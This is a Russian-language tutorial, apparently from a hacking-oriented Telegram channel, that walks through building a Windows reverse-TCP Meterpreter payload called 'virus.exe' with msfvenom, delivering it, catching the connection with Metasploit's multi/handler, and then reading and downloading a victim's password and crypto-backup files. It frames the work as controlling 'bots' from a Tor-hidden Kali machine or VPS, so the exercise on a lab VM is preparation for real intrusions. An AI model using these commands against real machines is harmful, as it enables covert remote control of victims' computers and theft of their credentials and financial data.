Metasploit

Metasploit

https://t.me/Project_Phobia_Beginning

Где можно использовать клиент metasploit

Metasploit уже предустановлен в kali linux. Но не все задачи можно выполнить из виртуальной машины. Наш kali linux подключён через tor, а, как мы знаем, в tor невозможно открыть порт для прослушивания. Единственный способ открыть сервер в tor - воспользоваться механизмом onion серверов. А необходимость в открытии порта у нас есть: на него мы будем принимать подключения от наших ботов.

Есть два типа подключений пейлоада

Back connect (обратное подключение). Так же это reverse подключение - после запуска пейлоад сам связывается с сервером и устанавливает соединение.

Открытие локального порта - после запуска пейлоад начинает слушать на каком-то порте в ожидании подключения от управляющего сервера.

Каждой из этих методов применим в своей ситуации, но чаще всего подключение идёт через back connect, его мы и рассмотрим. При обратном подключении проблем возникает меньше всего, потому что от клиента не требуется наличие белого IP.

Белый IP - IP, который доступен из внешней сети. Открыть порт и подключиться к нему через интернет можно только при таком типе адреса. Причём важно, чтобы не только IP был белым, но и чтобы был выстроен маршрут от внешнего устройства до машины с сервером. Например, если подключить компьютер через модем, то всё что находится за модемом станет внутренней сетью и будет недоступно извне. Эту проблему можно решить пробросом портов. Проброс портов - технология адресации определённого порта на выбранную машину в локальной сети. Например, если на компьютере, подключённому к интернету через модем с белым IP, открыть web сервер на 80 порту, а на роутере настроить перенаправления трафика с 80 порта на этот компьютер, то web сервер будет доступен через интернет. То же самое и с metasploit в VirtualBox. Можно настроить проброс порта(скажем 1234) в виртуальную машину и принимать подключения с хост системы. Но такой метод не подходит из соображений безопасности. Так как тогда нам придётся вешать сервер на свой реальный IP, что противоречит безопасности.

 

Так как же нам получить тогда белый IP для работы, если со своего адреса пробрасывать нельзя? - Для этого используются VPS сервера. На любом VPS доступен внешний IP, который можно использовать для принятия подключений. Про установку и настройку VPS мы поговорим позже, а пока настроим тестовый стенд в локальной сети.


Небольшое резюме: metasploit можно использовать на любой linux сборке, в том числе и на VPS. VPS необходим, если структура сети атакуемой машины неизвестна или прямое подключение невозможно по другим причинам.

Генерация payload

Нам понадобится виртуальная машиа с kali linux и клон windows машины на роль жертвы.

Как мы уже знаем, metasploit состоит из нескольких модулей, и мы уже смотрели на masfvenom, который используется для создания пейлоадов. Основным инструментом, через который ведётся управдение ботами, является mafconsole. Для начала нам нужен будет пейлоад, который мы будем закидывать на атакуемую машину. В нашем случае, на виртуальный windows. Первым делом надо узнать адрес kali linux во внутренней сети. Он у нас будет в роли сервера потому что мы будет делать back connect. Выполняем команду

ip a

Должно выдать информацию по двум адаптерам. lo и eth0. В eth0 будет строка начинающийся с inet, и после неё будет адрес. Скажем, 10.152.152.25. Его надо запомнить, он будет использоваться как адрес для подключений. На сервере в качестве этого адреса будет использоваться IP самого VPS. Его лучше скопировать напрямую из информации о VPS.

Далее создаём payload командой

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=10.152.152.25 LPORT=1234 -f exe > virus.exe

Небольшая информация по ней

Класс - meterpreter. Из популярных есть ещё shell. Отличается возможностями. Shell - просто удалённый доступ к командной строке, а meterpreter поддерживает полноценный набор функций metasploit. Мы их ещё рассмотрим.

Архитектура - x86(32х разрядные процессоры). x86 работает не только на 32 битной видне, но и на 64. Она самая универсальная. Потому что все 64 битные системы поддерживают эмулацию 32, но наобором это не работает.

Цель - windows машина.

LHOST - это IP на который отстучит вирус. Его надо заменить на тот адрес, который был получен из команды ip a.

Формат пейлоада - exe. Тут так же может быть какой-нибудь скриптовый язык, и заражение будет после исполнения команды.

И финальная часть > virus.exe - записать всё в файл virus.exe. Этот файл создастся в текущей папке.

Настало время запустить копию windows для заражения и скинуть туда полученный файл. Проще всего передать файл через локальный веб сервер.

Запуск локального файлового сервера

python3 -m http.server

Должно вывести

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Открываем в виртуальной windows браузер и заходим на http://10.152.152.25:8000/virus.exe

10.152.152.25 тут тоже надо подстроить под свой вывод команды ip a.

Файл virus.exe сохраняем, но пока не запускам. Перед запуском надо настроить сервер, чтобы принять подключение. Возвращаемся в kali. Открытый web сервер завершаем комбинацией ctrl+c.

Первый запуск msfconsole

Запускам его командой

msfconsole

После успешного запуска появится банер программы. Внизу него будет информация о версии, количестве эксплоитов в базе, а в начале строки начнёт писать msf5 >. Затем

Запускаем универсальный обработчик подключений командой

use exploit/multi/handler

Начало строки должно поменяться на msf5 exploit(multi/handler) >. Это значит, что нужный модуль запущен. Теперь надо указать тип пейлоада, с которыми мы работаем. В нашем случае это делается командой

Устанавливаем тип рабочего пейлоада

set payload windows/meterpreter/reverse_tcp

Устанавливаем порт, на которой будут приходить подключения

set LPORT 1234

Этого минимального набора настроек достаточно.

Запускаем прослушку

exploit -j -z

И теперь в виртуальной windows запускаем загруженный нами вирус. Сейчас в консоли kali должно появиться сообщение

Meterpreter session 1 opened

Тогда можно нажать enter и вернуться к консоли. Metasploit способен держать кучу подключений в фоне, подключение к заражённому windows тоже поддерживается в фоне. Для отображения списка всех соединений достаточно выполнить команду

Отображение списка текущих подключений

sessions -l

Чтобы перейти к подключению выполняем

Установка активного подключения

sessions -i 1

Посмотреть весь список доступных команд можно help. Он будет одинаковый для всех ботов, которые работают на metasploit пейлоаде. Для shell пейлоада доступны команды как в обычной командной строке. Давайте сразу попробуем некоторые частые команды. В metasploit сессии поддерживается большинство команд командной строки. Поэтому мы можем сделать, например, так:

ls C:\\secrets

cd C:\\secrets

pwd

ls

cat passwords.txt

Команда cat способна вывести содержимое файла в консоль. Удобно, это поддерживается даже чистым шелом, но не очень универсально. Более мощной является система обмена файлами в metasploit. Есть локальный путь - это тот путь, который сейчас считается активным на текущем машине с metasploit, и удалённый - путь на машине у жертвы. Мы уже рассматривали такой подход. Перед локальными командами просто ставится буква l. Давайте попробуем скачать условный файл crypto_backup.pdf, который находится по пути C:\\secrets

cd C:\\secrets

download crypto_backup.pdf

После окончания загрузи файл появится в нашей текущей папке. Узнать её можно командой

Показать активную локальную папку

lpwd

Загрузка файла делается аналагочни. Команда upload, и имя файла вводится с локальной машины.

Как посмотреть, что запущено у жертвы? Надо просто выполнить команду

Отобразить процессы у жертвы

ps

Она покажет всю информацию о процессках: пиды, имена и пути файлов, архитектуру и пользователя.

Ещё одна полезная и несложная команда покажется информацию об атакуемой системе

Ниформация об атакуемой машине

sysinfo

Так можно узнать билд системы. Он пригодится нам для подбора уязвимостей.

Ну и последняя часто используемая команда

Отключиться от текущей сессии

bg

Возможности metasploit очень обширные, и с более специфичными командами мы будем знакомится на примере конкретных сценариев атаки. Используя metasploit можно даже перенастроить сеть человеку. Большим плюсом во всём этом является переносимость: metasploit поддерживает большой спектр устройств, и везде доступен широкий набор команд.



Report Page